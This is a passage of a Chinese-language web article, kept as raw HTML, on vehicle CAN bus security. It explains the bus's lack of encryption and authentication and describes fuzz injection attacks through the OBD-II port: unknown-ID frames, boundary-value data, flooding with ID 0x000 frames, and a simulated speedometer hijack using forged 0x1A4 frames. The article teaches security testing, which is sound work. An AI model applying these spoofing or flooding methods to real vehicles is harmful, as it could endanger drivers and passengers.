leaf=\"\">\uff1a\u6807\u51c6CAN\u6700\u591a8\u5b57\u8282\u3002\u5b9e\u9645\u542b\u4e49\u7531\u5e94\u7528\u5c42\u5b9a\u4e49\uff0c\u4f8b\u5982\u8f66\u901f\u3001\u8f6c\u901f\u3001\u6e29\u5ea6\u7b49\u3002<\/span><\/section>\n<\/li>\n<\/ul>\n<table>\n<tbody>\n<tr>\n<td data-colwidth=\"576\">\n<p style=\"font-family: &quot;Courier New&quot;, &quot;Fira Code&quot;, monospace;font-size: 13px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 0px 0px 8px;color: rgb(136, 136, 136);\" data-pm-slice=\"0 0 []\"><span leaf=\"\">\ud83d\udccb \u4e00\u4e2a\u5178\u578b\u7684<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u5e27<\/span><\/span><span leaf=\"\">\u793a\u4f8b\uff1a<\/span><\/p>\n<p style=\"font-family: &quot;Courier New&quot;, &quot;Fira Code&quot;, monospace;font-size: 13px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 0px;color: rgb(231, 76, 60);\"><strong><span leaf=\"\">0x1A4<\/span><\/strong><span leaf=\"\">&nbsp;[8]&nbsp;<\/span><strong><span leaf=\"\">00 00 00 00 00 00 88 13<\/span><\/strong><\/p>\n<p style=\"font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 8px 0px 0px;font-size: 12px;color: rgb(136, 136, 136);font-family: &quot;PingFang SC&quot;, sans-serif;\"><span leaf=\"\">\u2191&nbsp;<\/span><span style=\"color: rgb(230, 81, 0);font-weight: 700;\"><span leaf=\"\">CAN ID<\/span><\/span><span leaf=\"\">\uff0811\u4f4d\uff09 \u2191 \u957f\u5ea6 \u2191 8\u5b57\u8282\u6570\u636e\uff08\u901f\u5ea6=0x1388=5000\uff0c\u5355\u4f4d\u6362\u7b97\u540e=200km\/h\uff09<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;color: rgb(13, 71, 161);margin-top: 28px;padding-bottom: 6px;border-bottom: 1px dashed rgb(187, 222, 251);\" data-pm-slice=\"0 0 []\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">1.4 \u6ca1\u6709\u52a0\u5bc6\u3001\u6ca1\u6709\u8ba4\u8bc1\u2014\u2014\u8fd9\u662f\u5386\u53f2\u8bbe\u8ba1\u7684\u4ee3\u4ef7<\/span><\/span><\/h3>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">CAN\u534f\u8bae\u8bde\u751f\u4e8e1986\u5e74\uff0c\u90a3\u4e2a\u5e74\u4ee3\u6c7d\u8f66\u662f\u7eaf\u673a\u68b0\u4ea7\u54c1\uff0c\u4e0d\u5b58\u5728\u8054\u7f51\u9700\u6c42\u3002\u56e0\u6b64<\/span><strong><span leaf=\"\">\u5b89\u5168\u6839\u672c\u4e0d\u5728\u8bbe\u8ba1\u8003\u91cf\u8303\u56f4\u5185<\/span><\/strong><span leaf=\"\">\u3002\u8fd9\u79cd\u8bbe\u8ba1\u5e26\u6765\u4e86\u4e24\u4e2a\u81f4\u547d\u95ee\u9898\uff1a<\/span><\/p>\n<ul style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 14px;color: rgb(85, 85, 85);padding-left: 20px;\" class=\"list-paddingleft-1\">\n<li><strong><span leaf=\"\">\u65e0\u52a0\u5bc6<\/span><\/strong><br \/>\n<section><span leaf=\"\">\uff1a\u603b\u7ebf\u4e0a\u4f20\u8f93\u7684\u6570\u636e\u662f\u660e\u6587\u3002\u4efb\u4f55\u80fd\u63a5\u89e6\u5230<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u7684\u8bbe\u5907\uff0c\u90fd\u53ef\u4ee5\u76d1\u542c\u603b\u7ebf\u4e0a\u7684\u6240\u6709\u6570\u636e\u2014\u2014\u5305\u62ec\u8f66\u901f\u3001\u5239\u8f66\u72b6\u6001\u3001\u65b9\u5411\u76d8\u89d2\u5ea6\u3002<\/span><\/section>\n<\/li>\n<li><strong><span leaf=\"\">\u65e0\u8ba4\u8bc1<\/span><\/strong><br \/>\n<section><span leaf=\"\">\uff1a<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u5e27<\/span><\/span><span leaf=\"\">\u7684\u53d1\u9001\u8005\u8eab\u4efd\u65e0\u6cd5\u88ab\u9a8c\u8bc1\u3002\u4efb\u4f55\u8282\u70b9\u90fd\u53ef\u4ee5\u53d1\u9001\u4efb\u610fID\u548c\u6570\u636e\u7684<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u5e27<\/span><\/span><span leaf=\"\">\uff0cECU\u65e0\u6cd5\u533a\u5206\u8fd9\u662f\u6765\u81ea\u771f\u5b9e\u4f20\u611f\u5668\u7684\u5408\u6cd5\u4fe1\u53f7\uff0c\u8fd8\u662f<\/span><span style=\"color: rgb(198, 40, 40);font-weight: 600;\"><span leaf=\"\">\u653b\u51fb\u8005<\/span><\/span><span leaf=\"\">\u4f2a\u9020\u7684\u6076\u610f\u4fe1\u53f7\u3002<\/span><\/section>\n<\/li>\n<li>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<\/li>\n<\/ul>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u7528\u4e00\u4e2a\u751f\u6d3b\u573a\u666f\u6765\u7c7b\u6bd4\uff1a<\/span><strong><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u5c31\u50cf\u4e00\u4e2a\u6240\u6709\u4eba\u90fd\u5728\u540c\u65f6\u53d1\u8a00\u7684\u4f1a\u8bae\u5ba4\uff0c\u6ca1\u6709\u4eba\u9a8c\u8bc1\u4f60\u662f\u8c01\uff0c\u4f60\u8bf4\u4ec0\u4e48\u5176\u4ed6\u4eba\u90fd\u7167\u5355\u5168\u6536\u3002<\/span><\/strong><span leaf=\"\">&nbsp;\u5728\u8fd9\u4e2a\u4f1a\u8bae\u5ba4\u91cc\uff0c\u4f60\u53ea\u8981\u8bf4\u8bdd\u591f\u5927\u58f0\uff08ID\u4f18\u5148\u7ea7\u9ad8\uff09\uff0c\u5c31\u80fd\u8ba9\u6240\u6709\u4eba\u5ffd\u7565\u5176\u4ed6\u4eba\u7684\u58f0\u97f3\u3002<\/span><\/p>\n<hr style=\"border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);\"  \/>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\"><br  \/><\/span><\/p>\n<h2 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 19px;color: rgb(26, 35, 126);border-left: 4px solid rgb(21, 101, 192);padding: 8px 16px;margin: 36px 0px 20px -4px;background: linear-gradient(90deg, rgb(227, 240, 255) 0%, transparent 100%);border-radius: 0px 6px 6px 0px;border-bottom-width: medium;border-bottom-style: none;border-bottom-color: currentcolor;\" data-pm-slice=\"0 0 []\"><span leaf=\"\">\u4e8c\u3001<\/span><span style=\"color: rgb(198, 40, 40);font-weight: 700;\"><span leaf=\"\">\u6a21\u7cca\u6ce8\u5165<\/span><\/span><span leaf=\"\">\u653b\u51fb\u6838\u5fc3\u539f\u7406<\/span><\/h2>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 2em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 0px 0px 14px;text-align: justify;\"><span leaf=\"\">\u7406\u89e3\u4e86<\/span><span style=\"color: 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44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 24px 0px;background: rgb(248, 250, 252);border: 1px solid rgb(226, 232, 240);border-radius: 10px;padding: 20px;text-align: center;\">\n<p><span leaf=\"\">\u56fe2\uff1aOBD-II \u2192 CAN\u603b\u7ebf \u2192 ECU \u653b\u51fb\u8def\u5f84\uff08Visio\u6846\u56fe\uff09<\/span><\/p>\n<p><svg viewbox=\"0 0 800 320\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:100%;font-family:sans-serif;\"><rect x=\"20\" y=\"90\" width=\"90\" height=\"65\" rx=\"6\" fill=\"#ffebee\" stroke=\"#c62828\" stroke-width=\"2\"><\/rect><text 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leaf=\"\">\u901f\u5ea6=0xFFFF=65535km\/h<\/tspan><\/text><text x=\"400\" y=\"155\" text-anchor=\"middle\" font-size=\"9\" fill=\"#fb8c00\" font-weight=\"bold\"><tspan leaf=\"\">\u98ce\u9669<\/tspan><\/text><rect x=\"330\" y=\"162\" width=\"140\" height=\"10\" rx=\"5\" fill=\"#fff3cd\"><\/rect><rect x=\"330\" y=\"162\" width=\"84\" height=\"10\" rx=\"5\" fill=\"#fb8c00\"><\/rect><rect x=\"580\" y=\"38\" width=\"180\" height=\"90\" rx=\"6\" fill=\"#ffebee\" stroke=\"#c62828\" stroke-width=\"2\"><\/rect><text x=\"670\" y=\"60\" text-anchor=\"middle\" font-size=\"9\" fill=\"#c62828\" font-weight=\"bold\"><tspan leaf=\"\">\u26a1 \u9ad8\u4f18\u5148\u7ea7\u5e27\u5360\u6ee1\u603b\u7ebf<\/tspan><\/text><line x1=\"595\" y1=\"98\" x2=\"745\" y2=\"98\" stroke=\"#c62828\" stroke-width=\"2.5\"><\/line><rect x=\"598\" y=\"86\" width=\"20\" height=\"14\" rx=\"2\" fill=\"#ef9a9a\"><\/rect><rect x=\"622\" y=\"86\" width=\"20\" height=\"14\" rx=\"2\" fill=\"#ef9a9a\"><\/rect><rect x=\"646\" y=\"86\" width=\"20\" height=\"14\" rx=\"2\" fill=\"#ef9a9a\"><\/rect><rect x=\"670\" y=\"86\" width=\"20\" height=\"14\" rx=\"2\" fill=\"#ef9a9a\"><\/rect><rect x=\"694\" y=\"86\" width=\"20\" height=\"14\" rx=\"2\" fill=\"#ef9a9a\"><\/rect><rect x=\"718\" y=\"86\" width=\"20\" height=\"14\" rx=\"2\" fill=\"#ef9a9a\"><\/rect><text x=\"670\" y=\"113\" text-anchor=\"middle\" font-size=\"8\" fill=\"#c62828\" font-weight=\"bold\"><tspan leaf=\"\">ID=0x000 \u6700\u9ad8\u4f18\u5148\u7ea7<\/tspan><\/text><text x=\"670\" y=\"126\" text-anchor=\"middle\" font-size=\"8\" fill=\"#888\"><tspan leaf=\"\">\u5e26\u5bbd\u88ab\u5b8c\u5168\u5360\u6ee1<\/tspan><\/text><text x=\"670\" y=\"155\" text-anchor=\"middle\" font-size=\"9\" fill=\"#c62828\" font-weight=\"bold\"><tspan leaf=\"\">\u98ce\u9669<\/tspan><\/text><rect x=\"600\" y=\"162\" width=\"140\" height=\"10\" rx=\"5\" fill=\"#c62828\"><\/rect><text x=\"400\" y=\"198\" text-anchor=\"middle\" font-size=\"9\" fill=\"#666\"><tspan leaf=\"\">ID\u6a21\u7cca\uff1a\u672a\u77e5\u6d88\u606f\u2192\u5f02\u5e38\u5904\u7406 | \u6570\u636e\u6a21\u7cca\uff1a\u8d85\u8303\u56f4\u503c\u2192\u9519\u8bef\u52a8\u4f5c | DoS\u6cdb\u6d2a\uff1a\u603b\u7ebf\u5835\u585e\u2192\u529f\u80fd\u5931\u6548<\/tspan><\/text><\/svg><\/figure>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u5c06\u6a21\u7cca\u6d4b\u8bd5\u5f15\u5165<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\uff0c\u5c31\u5f62\u6210\u4e86<\/span><strong><span leaf=\"\">CAN<\/span><span style=\"color: rgb(198, 40, 40);font-weight: 700;\"><span leaf=\"\">\u6a21\u7cca\u6ce8\u5165<\/span><\/span><\/strong><span leaf=\"\">\uff1a\u5411ECU\u53d1\u9001\u5927\u91cf\u5f02\u5e38\u7684<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u5e27<\/span><\/span><span leaf=\"\">\uff0c\u89c2\u5bdfECU\u5728\u63a5\u6536\u8fd9\u4e9b&#8221;\u9884\u6599\u4e4b\u5916&#8221;\u7684\u6570\u636e\u65f6\u662f\u5426\u4f1a\u51fa\u73b0\uff1a<\/span><\/p>\n<ul style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 14px;color: rgb(85, 85, 85);padding-left: 20px;\" class=\"list-paddingleft-1\">\n<li>\n<section><span leaf=\"\">\u2705 \u5f02\u5e38\u54cd\u5e94\uff08\u5982\u6536\u5230\u672a\u77e5ID\u7684\u5e27\u540e\u6b7b\u673a\u91cd\u542f\uff09<\/span><\/section>\n<\/li>\n<li>\n<section><span leaf=\"\">\u2705 \u5b89\u5168\u7ed5\u8fc7\uff08\u5982\u865a\u5047\u5239\u8f66\u6307\u4ee4\u88ab\u6267\u884c\uff09<\/span><\/section>\n<\/li>\n<li>\n<section><span leaf=\"\">\u2705 \u9759\u9ed8\u6545\u969c\uff08\u5982\u4eea\u8868\u76d8\u663e\u793a\u9519\u8bef\u4fe1\u606f\u4f46\u4e0d\u62a5\u9519\uff09<\/span><\/section>\n<\/li>\n<li>\n<section><span leaf=\"\">\u2705&nbsp;<\/span><span style=\"color: rgb(183, 28, 28);font-weight: 700;\"><span leaf=\"\">DoS<\/span><\/span><span leaf=\"\">\uff08\u603b\u7ebf\u88ab\u963b\u585e\uff0c\u6b63\u5e38\u529f\u80fd\u4e27\u5931\uff09<\/span><\/section>\n<\/li>\n<\/ul>\n<h3 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;color: rgb(13, 71, 161);margin-top: 28px;padding-bottom: 6px;border-bottom: 1px dashed rgb(187, 222, 251);\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">2.2 CAN<\/span><\/span><span style=\"color: rgb(198, 40, 40);font-weight: 700;\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">\u6a21\u7cca\u6ce8\u5165<\/span><\/span><\/span><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">\u7684\u4e09\u79cd\u5f62\u6001<\/span><\/span><\/h3>\n<table style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;width: 680px;border-collapse: collapse;margin: 16px 0px;font-size: 14px;\">\n<tbody>\n<tr style=\"background: rgb(255, 240, 240);\">\n<th style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;text-align: left;\">\n<section style=\"text-align: center;\"><span leaf=\"\">\u653b\u51fb\u5f62\u6001<\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;text-align: left;\">\n<section style=\"text-align: center;\"><span leaf=\"\">\u63cf\u8ff0<\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;text-align: left;\">\n<section style=\"text-align: center;\"><span leaf=\"\">\u5371\u5bb3\u7a0b\u5ea6<\/span><\/section>\n<\/th>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\"><strong><span leaf=\"\">ID\u6a21\u7cca<\/span><\/strong><\/td>\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\">\n<section><span leaf=\"\">\u53d1\u9001ECU\u4ece\u672a\u89c1\u8fc7\u7684<\/span><span style=\"color: rgb(230, 81, 0);font-weight: 700;\"><span leaf=\"\">CAN ID<\/span><\/span><span leaf=\"\">\uff0c\u4f46\u6570\u636e\u683c\u5f0f\u6b63\u5e38\uff0c\u8feb\u4f7fECU\u5904\u7406&#8221;\u672a\u77e5\u6d88\u606f&#8221;<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\">\n<section><span leaf=\"\">\u2b50\u2b50\u2b50 \u5f15\u53d1\u5f02\u5e38\u5904\u7406\u903b\u8f91<\/span><\/section>\n<\/td>\n<\/tr>\n<tr style=\"background: rgb(245, 247, 255);\">\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\"><strong><span leaf=\"\">\u6570\u636e\u6a21\u7cca<\/span><\/strong><\/td>\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\">\n<section><span leaf=\"\">\u5728\u5df2\u77e5\u5408\u6cd5ID\u7684\u5e27\u4e2d\u6ce8\u5165\u8fb9\u754c\u503c\uff080xFF\u30010x00\uff09\u3001\u8d85\u8303\u56f4\u6570\u636e\uff0c\u89c2\u5bdfECU\u8fb9\u754c\u5904\u7406\u80fd\u529b<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\">\n<section><span leaf=\"\">\u2b50\u2b50\u2b50\u2b50 \u6b3a\u9a97ECU\u6267\u884c\u9519\u8bef\u52a8\u4f5c<\/span><\/section>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\"><strong><span leaf=\"\">\u65f6\u5e8f\u6a21\u7cca\uff08<\/span><span style=\"color: rgb(183, 28, 28);font-weight: 700;\"><span leaf=\"\">DoS<\/span><\/span><span leaf=\"\">\uff09<\/span><\/strong><\/td>\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\">\n<section><span leaf=\"\">\u5411\u603b\u7ebf\u5927\u91cf\u53d1\u9001\u9ad8\u4f18\u5148\u7ea7\uff08ID=0x000\uff09\u7a7a\u5e27\uff0c\u5360\u7528\u5e26\u5bbd\uff0c\u4f7f\u6b63\u5e38\u5e27\u5ef6\u8fdf\u6216\u4e22\u5931<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(255, 204, 204);padding: 10px 12px;\">\n<section><span leaf=\"\">\u2b50\u2b50\u2b50\u2b50\u2b50 \u5bfc\u81f4\u529f\u80fd\u5168\u9762\u5931\u6548<\/span><\/section>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;color: rgb(13, 71, 161);margin-top: 28px;padding-bottom: 6px;border-bottom: 1px dashed rgb(187, 222, 251);\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">2.3 \u771f\u5b9e\u653b\u51fb\u6848\u4f8b\u6a21\u62df\u8be6\u89e3<\/span><\/span><\/h3>\n<h4 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(21, 101, 192);margin-top: 20px;font-weight: 600;\"><span leaf=\"\">\ud83d\udd34&nbsp;<span textstyle=\"\" style=\"color: rgb(255, 41, 65);\">\u6848\u4f8bA\uff1a\u6a21\u62df\u8f66\u901f\u4eea\u8868\u52ab\u6301<\/span><\/span><\/h4>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u8fd9\u662f\u6700\u76f4\u89c2\u7684\u4e00\u79cd\u653b\u51fb\u2014\u2014\u5411\u603b\u7ebf\u6ce8\u5165\u4f2a\u9020\u7684\u901f\u5ea6\u4fe1\u53f7\uff0c\u8ba9\u4eea\u8868\u76d8\u663e\u793a\u865a\u5047\u7684\u884c\u9a76\u901f\u5ea6\uff0c\u5e72\u6270\u9a7e\u9a76\u5458\u5224\u65ad\u3002<\/span><\/p>\n<table>\n<tbody>\n<tr>\n<td data-colwidth=\"576\">\n<p style=\"font-family: &quot;Courier New&quot;, &quot;Fira Code&quot;, monospace;font-size: 13px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 0px 0px 8px;color: rgb(85, 85, 85);\" data-pm-slice=\"0 0 []\"><span leaf=\"\">\ud83d\ude97 \u653b\u51fb\u8def\u5f84\uff1a<\/span><span style=\"color: rgb(198, 40, 40);font-weight: 600;\"><span leaf=\"\">\u653b\u51fb\u8005<\/span><\/span><span leaf=\"\">\u8fde\u63a5<\/span><span style=\"background: rgb(227, 242, 253);color: rgb(13, 71, 161);padding: 1px 5px;border-radius: 3px;font-weight: 600;\"><span leaf=\"\">OBD-II<\/span><\/span><span leaf=\"\">\u63a5\u53e3 \u2192 \u53d1\u9001\u4f2a\u9020 0x1A4 \u5e27 \u2192 \u4eea\u8868\u76d8\u663e\u793a\u865a\u9ad8\u8f66\u901f<\/span><\/p>\n<p style=\"font-family: &quot;Courier New&quot;, &quot;Fira Code&quot;, monospace;font-size: 13px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 8px 0px 4px;color: rgb(136, 136, 136);\"><span leaf=\"\">\u6b63\u5e38\u901f\u5ea6\u4fe1\u53f7\uff08ID=0x1A4\uff09\uff1a<\/span><\/p>\n<p style=\"color: rgb(26, 35, 126);font-family: &quot;Courier New&quot;, &quot;Fira Code&quot;, monospace;font-size: 13px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 0px 0px 4px;\"><span style=\"color: rgb(39, 174, 96);\"><span leaf=\"\">\u6b63\u5e38\uff1a<\/span><\/span><span leaf=\"\">&nbsp;0x1A4<a class=\"wx_topic_link\" topic-id=\"mr4n9cbi-xdt27e\" style=\"color: #576B95 !important;\" data-topic=\"1\" data-recommend=\"\">#00<\/a>&nbsp;00 00 00 00 00 00 00 \u2192 \u4eea\u8868\u663e\u793a 0 km\/h<\/span><\/p>\n<p style=\"color: rgb(26, 35, 126);font-family: &quot;Courier New&quot;, &quot;Fira Code&quot;, monospace;font-size: 13px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 0px 0px 8px;\"><span style=\"color: rgb(39, 174, 96);\"><span leaf=\"\">\u6b63\u5e38\uff1a<\/span><\/span><span leaf=\"\">&nbsp;0x1A4<a class=\"wx_topic_link\" topic-id=\"mr4n9cbi-e0l42k\" style=\"color: #576B95 !important;\" data-topic=\"1\" 